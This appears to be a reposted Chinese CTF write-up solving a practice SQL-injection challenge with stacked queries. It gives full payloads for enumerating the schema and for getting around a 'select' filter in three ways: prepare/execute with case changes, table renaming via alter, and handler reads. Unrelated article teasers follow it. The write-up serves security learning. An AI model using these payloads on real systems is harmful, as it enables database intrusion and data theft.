Web_BUUCTF_WriteUp | [强网杯 2019]随便注

news/2024/11/16 11:44:36/文章来源:https://www.cnblogs.com/Guanz/p/18297444

题目

分析

把 1 提交上去,得到回显如下:


输入框可输入的内容不止数字,尝试用 ' " ') ") 闭合,探测发现输入 1' and 1=1;#1' and 1=2;# 的回显不同,判断为单引号闭合。

  • 1' and 1=1;#

  • 1' and 1=2;#

尝试查看当前所有数据库 1';show databases;#


成功了,接着看看当前所有表 1';show tables;#

分别查看两个表的内容。

  • 1';show columns from `1919810931114514`;#

  • 1';show columns from words;#

在一串数字的表中出现可疑字段 flag,同时 words 表中的内容包含 id 部分和 data 部分,大概率就是正常提交数据查询到的结果。尝试查看字段值 1';select * from 1919810931114514;# 发现存在过滤:


尝试一些常用绕过方法均失败。从[BUUOJ记录] [强网杯 2019]随便注(三种方法)-Ye'sBlog-博客园大佬的博客学到三种绕过 select 的方法。


1、存储过程绕过(利用 prepare 语句),即预编译绕过
2、重命名绕过(利用 alter 语句与 rename 语句)
3、handler 语句代替 select 查询


1、预编译绕过
传入 1';set @a=concat('se','lect * from `1919810931114514`;');prepare flag from @a;execute flag;#,其中:

1';
// 用来闭合前面的单引号set @a=concat('se','lect * from `1919810931114514`;');
// concat函数将多个字符串组合成一个字符串,得到select * from `1919810931114514`;
// @a定义了一个用户变量a
// set函数让a接收concat拼接的结果select * from `1919810931114514`;prepare flag from @a;
// 将a的字符串作为代码进行预编译execute flag;
// 执行之前预编译的代码#
// 将源码之后的部分注释掉

得到回显:


这里出现的 strstr 函数在 PHP 中是个查找子字符串的函数,猜测这里是在传入的字符串中找到 setprepare 俩串给咱返回了,即被过滤了。因为 strstr() 是区分大小写的所以咱可以通过改变字母大小写的方法绕过:


传入 1';SET @a=concat('se','lect * from 1919810931114514;');PREPARE flag from @a;execute flag;# 得到 flag。

虽然但是测试了一下发现只需要更改两串其一即可成功绕过。


2、重命名绕过
传入 1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#,其中

1';
// 用来闭合前面的单引号alter table words rename to words1;
// alter 命令用于更改数据库结构,rename将表words的名字更改为words1alter table `1919810931114514` rename to words;
// 将表1919810931114514的名字更改为wordsalter table words change flag id varchar(100);
// 将表words中的字段名flag更改为id,数据类型为varchar(100)。varchar是可变长度字符串,数据100来自于之前查询到 flag 的长度#
// 将源码之后的部分注释掉

回显:


此时输入框传入的参数由在 words 表中查询 id 值更改为在 1919810931114514 表中查询 flag 值。显然我们不可能传入 flag 进行查询,因此传入永真式 1' or 1=1#,得到回显:


3、handler 语句代替 select 查询
handler 是 MySQL 专用的语句,可代替 select 语句实现部分功能,具体可参考【MySQL】MySQL 之 handler 的详细使用及说明-边扯边淡-CSDN。


传入 1';handler `1919810931114514` open as ye;handler ye read first;handler ye close;#,其中:

1';
// 用来闭合前面的单引号handler `1919810931114514` open as ye;
// 打开表1919810931114514的句柄并命名为yehandler ye read first;
// 索引ye第一行数据handler ye close;
//关闭句柄ye

得到 flag。

参考

史上超强最常用SQL语句大全-小小张自由—>张有博-CSDN
[BUUOJ记录] [强网杯 2019]随便注(三种方法)-Ye'sBlog-博客园
PHP strstr() 函数
Mysql中符号@的作用-LC超人在良家-CSDN
【MySQL】MySQL 之 handler 的详细使用及说明-边扯边淡-CSDN

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/742293.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

红日靶场二

一、所需环境web端(双网卡)pc主机(双网卡)dc web端开启weblogic服务,360安全卫士 二、信息收集 1、目标主机探测2、端口扫描发现开启了许多高危端口,比如:7001、3389、445等 3、对7001weblogic端口就行漏洞扫描--->工具(Vscan-plus)发现扫出了一些cve漏洞,然后逐个…

Eureka原理

Eureka高级架构每一个地区对应一个region,zone 相当于机房 Eureka的服务治理流程 1、客户端启动时会向Eureka server发送注册请求; 2、当注册成功后客户端会每30秒定时通过提供的http api请求一次Eureka server端获取服务列表,第一次是全量,后面都是增量,然后缓存到本地;…

算法金 | 来了,pandas 2.0

大侠幸会,在下全网同名「算法金」 0 基础转 AI 上岸,多个算法赛 Top 「日更万日,让更多人享受智能乐趣」今日 210+/10000,内含 Pandas 是一个强大的数据分析库,广泛应用于科学研究、金融分析、商业智能等领域。它提供了高效的数据结构和数据分析工具,使得处理和分析数据变…

给你安利一个程序员上岸公务员的开源项目

写在前面 也许你还在工位上焦虑着人工智能会不会替代自己 也许你还在为一眼看不到头的加班而苦恼 也许你还在为夜晚拉长了的背影而感到孤独无助。 那么今天推荐的这个开源项目或许值得你一看。 都说宇宙的尽头是考编,今天推荐的开源项目就是公务员从入门到上岸,最佳程序员公考…

WSL2连接USB设备(以USRP B210为例)

使用WSL2时,发现其无法直接识别到宿主机上插入的USB设备。 可利用USPIPD-WIN项目进行连接。 以下以USRP B210设备连接为例,展示连接过程: 安装USBIPD-WIN 项目 参考连接 USB 设备 | Microsoft Learn,我选择通过.msi文件安装:转到 usbipd-win 项目的最新发布页。 选择 .msi…

Simple WPF: S3实现MINIO大文件上传并显示上传进度

早两天写了一篇S3简单上传文件的小工具,知乎上看到了一个问题问如何实现显示MINIO上传进度,因此拓展一下这个小工具能够在上传大文件时显示进度。最新内容优先发布于个人博客:小虎技术分享站,随后逐步搬运到博客园。 创作不易,如果觉得有用请在Github上为博主点亮一颗小星…

.NET 9 预览版6发布

微软发布了 .NET 9 的第 6 个预览版,此版本包括对运行时、SDK、.NET MAUI、ASP.NET Core 和 C# 的更新,预览版没有包含太多新的主要功能或特性,因为已接近 .NET 9 开发的最后阶段,该开发计划于 11 月全面发布。Loongarch的Native-AOT代码合进去了,龙芯.NET 可以直接同步社…

【Azure Developer】一个复制Redis Key到另一个Redis服务的工具(redis_copy_net8)

介绍一个简单的工具,用于将Redis数据从一个redis端点复制到另一个redis端点,基于原始存储库转换为.NET 8:https://github.com/LuBu0505/redis-copy-net8介绍一个简单的工具,用于将Redis数据从一个redis端点复制到另一个redis端点,基于原始存储库转换为.NET 8:https://git…

[Windows环境]nvm工具的介绍和安装

nvm工具介绍 NVM(Node Version Manager)是一个用于管理Node.js版本的工具。它允许用户在同一台机器上同时安装和切换不同版本的Node.js,以便在不同的项目中使用特定的Node.js版本。同时为每个版本保留独立的环境,避免版本冲突和兼容性问题。此文章步骤以windows为例使用set…

劫持TLS绕过canary 堆和栈的灵活转换

引入:什么是TLScanary? TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆…

松灵机器人scout mini小车 自主导航(3)——建图导航仿真

松灵机器人Scout mini小车建图导航仿真 在之前的文章中,我们已经介绍了如何在gazebo和rviz对scout mini小车进行仿真,并且测试了添加自定义的传感器,在本文章中将进一步介绍如何利用scout mini小车 在仿真环境中建图和导航。 仓库链接: https://gitee.com/agent-explorer/ro…

ComfyUI进阶篇:ControlNet核心节点

前言: ControlNet_aux库包含大量的图片预处理节点,功能丰富,适用于图像分割、边缘检测、姿势检测、深度图处理等多种预处理方式。掌握这些节点的使用是利用ControlNet的关键,本篇文章将帮助您理解和学会使用这些节点。 目录 一、安装方法 二、模型下载 三、Segmentor节点 四…